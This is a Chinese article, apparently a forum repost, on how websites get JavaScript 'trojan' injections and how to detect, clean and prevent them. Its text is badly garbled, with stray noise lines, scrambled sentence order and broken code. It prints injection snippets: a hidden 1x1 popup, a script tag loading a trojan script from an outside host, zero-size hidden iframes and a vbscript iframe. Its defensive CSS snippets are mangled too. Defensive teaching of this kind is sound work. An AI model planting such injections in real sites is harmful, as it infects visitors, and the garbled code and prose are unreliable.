网站被JS挂马解决方法

happyxp

网站被JS挂马解决方法

为什么网页挂马还是屡见不鲜？这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

$ R. W4 m6 [" \8 q

IFRAME 和 JS 脚本挂马。

检测网页木马也是很重要的一项工作，目前流行的网站被黑，相应的 asp,

% e8 n: T8 Y, r8 s% Z2 F

网站优化设计当中。htm,j 等文件中，插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

& R5 E, I2 _) L. C

相应的 asp, 目前流行的网站被黑。htm,j 等文件中，插入以 js 调用方式的

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

。一千多位会员的 ID

$ V$ w2 n# k+ b- P7 f

2: 如何检测网页是否被挂马。

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

1 @, [$ n! S& [- H& I; p

因素。
2 googl 检测。>

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

- i( }7 w8 r. K. o$ [, ?+ z A

打开你网站、博客，
4 人工检测。点击右键查看源文件，根据网页挂马的种类也可以查看是否中了木马。

' m' c7 M# T6 z0 R

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

. K# j, o( J3 T

) h" T5 t: S# l7 E/ {- g' u

3: 如何清除网页木马。

就看那些文件是最近修改过的主要检查这些新文件， 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

& L9 I% O5 p9 d. r2 J

入源文件把相关的网页挂马种类的可疑代码删除。

7 N4 e- {' [" r

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

) {1 w2 s/ W$ b' D- k1 ?

悉。>

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

2 保证你所使用的顺序及时的更新。

2 z' Z2 ]6 b1 Z/ N4 q

3 不要在前台网页上加注后台管理程序登陆页面的链接。

3 \* N, l6 Q* o: l

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

5 g- ], f. [( n+ \$ ]1 `& W

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

6 u4 Y U* ?( y3 U

二项功能组合，
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

设置执行权限选项中，
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录，取消 ASP 运行权限。

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

1 Y$ h7 I4 ]- ?' ?4 k L1 `1 C

IFRAME 挂马比较早， < IFRAME 挂马比较早。相应的预防措施也比较多，其中用 CSS 配合 JS 脚本进行预防是主流方式

。可这种预防方式也存在平安隐患， JS 脚本也可以被用来挂马，令人防不胜防。下面要介绍反击 JS 挂马的方法。

JS 挂马溯源

有经验的平安工程师也开始研究相应的对策，当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

法不时涌现，其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效，而黑客也发现。如果将木马挂在 JS 脚本中，所有调用该 JS

0 M- J4 r% t! [8 ~& d3 h" q* ~

脚本的网页都等同于被挂上了木马，对于需要肉鸡群的黑客而言是一劳永逸，因此 JS 脚本挂马逐渐开始被黑客应用。

一种面向对象的脚本语言，小百科： JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

大家的 JavaScript 和 Java 除了语法上有一些相似之处，以及都能够当作网页的编程语言以外，两者是完全不相干的而

+ u2 g' i& P+ F

JavaScript 与 Jscript 也不同， Jscript 微软为了迎战 JavaScript 推出的脚本语言。

: ^" A, J5 [# p

但是 JavaScript 一门具有丰富特性的语言，虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

3 a0 K/ z: ~4 i% `

程语言一样的复杂性。实际上，必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序，作为一名平安工程师，掌握 JS

/ C5 O/ k1 T! @+ J& J3 b$ y

脚本在工作中会有很大的协助。

挂马原理一点通

可以说优点多得数不过来， JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中，也可以

通过注入网页，让网站远程调取异地 JS 脚本。此外， JS 挂马插入 Web 页面的方法有几十种，绝对够菜鸟们眼花缭乱，

! ^9 `! C2 e+ |/ c3 ?' u# @

无从区分木马在何处。

' e; q7 | r5 ?6 X+ \2 U" M% P

如同一个穿着鲜红颜色外衣的劫匪， IFRAME 挂马相对于安全工程师而言。招摇而扎眼，很容易被发现。但是利用 JS 挂

( Z$ q" t0 L1 ~1 ?' _! O/ G7 p

马就意味着这个劫匪拥有了一张可以随时变换的面孔，而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时，很

容易蒙混过关，导致木马久杀不绝。

( j* ^0 s6 [1 N/ P

JS 挂马攻防实录

0 j* }1 c( T p: L* C; g1 W( p

一种是直接将 JavaScript 脚本代码写在网页中，攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时，恶意的

. G+ \9 P9 n; t, ^9 \8 V+ v

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口，隐藏地运行。

这种方法使用的关键代码如下：

. z2 I3 f, F7 K# }

"",  window.open "http://www.v404.cn/ 木马

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

% W& _- @9 R, x5 m3 a

2 w \; T7 G( |# T2 u% ^% v

很容易被安全工程师发现，这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

5 Z5 B: F% k3 }& f; ]7 k9 q9 k* C

但是设置为 0 后，可能会出现恶意代码不运行的情况。

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入： 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

document.writ ' ＜ Iframe src=" 网页木马地址 " ></ifram ＞ ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

。

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

. `. F! R/ L: u! @; I9 H

或者

document.writ "<div style='display:none'>"

1 u$ v7 {9 }7 r2 e! \, Q

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

2 B0 X6 L9 `+ q

document.writ "</div>"
 

8 r1 f# Q1 J! j* e4 J' s( b3 H

就成功地将木马挂到对方的网页中了

例如黑客有可能会将脚本写为： 小提示：黑客还可以根据情况随机变换拔出的 JS 挂马方法。

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

L' Q8 \: S4 d7 p/ l

或者：

0 s# [5 l9 l0 Y5 t4 x

<ifram src="vbscript:[ 挂马脚本 ]">

0 k. z3 v$ l9 _- Z2 ]4 w

等等 …

不方便，防第一种 JS 挂马方式。用得非常少，而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

* |* u: ]0 j8 L, b4 o' C' }

就是阻止 Src 请求的异地外域的 JS 脚本，代码如下：

0 i4 P; L- V& O' j7 w \

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

3 d' m$ `8 T; K; E- c5 [

;}

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

2 M" C) y7 m- I1 s- P

" x: |$ ^; N; x( l) ?8 ^

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

. X9 a2 Y. s# H! }- Z: S. g9 C

这段代码会让异地外域的 JS 文件在使用 document.writ 时，所以我为安全工程师提供了一段可以中止 JS 脚本运行的

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完，只有局部被强制输出了

Writer 后面的内容再不会被写入访问者的电脑中，从而起到防范 JS 脚本挂马的作用。

<title> 让 JS 挂马中止的 CSS 代码 </title>

<styl type="text/css" id="shudoo">

( W0 E h! x7 L( ?' O

/*<![CDATA[*/

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

$ K& P4 E r" O" k6 O' [( }

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

6 h$ p3 }; ^7 y8 _8 c8 ]5 p1 i

/*]]>*/

</style>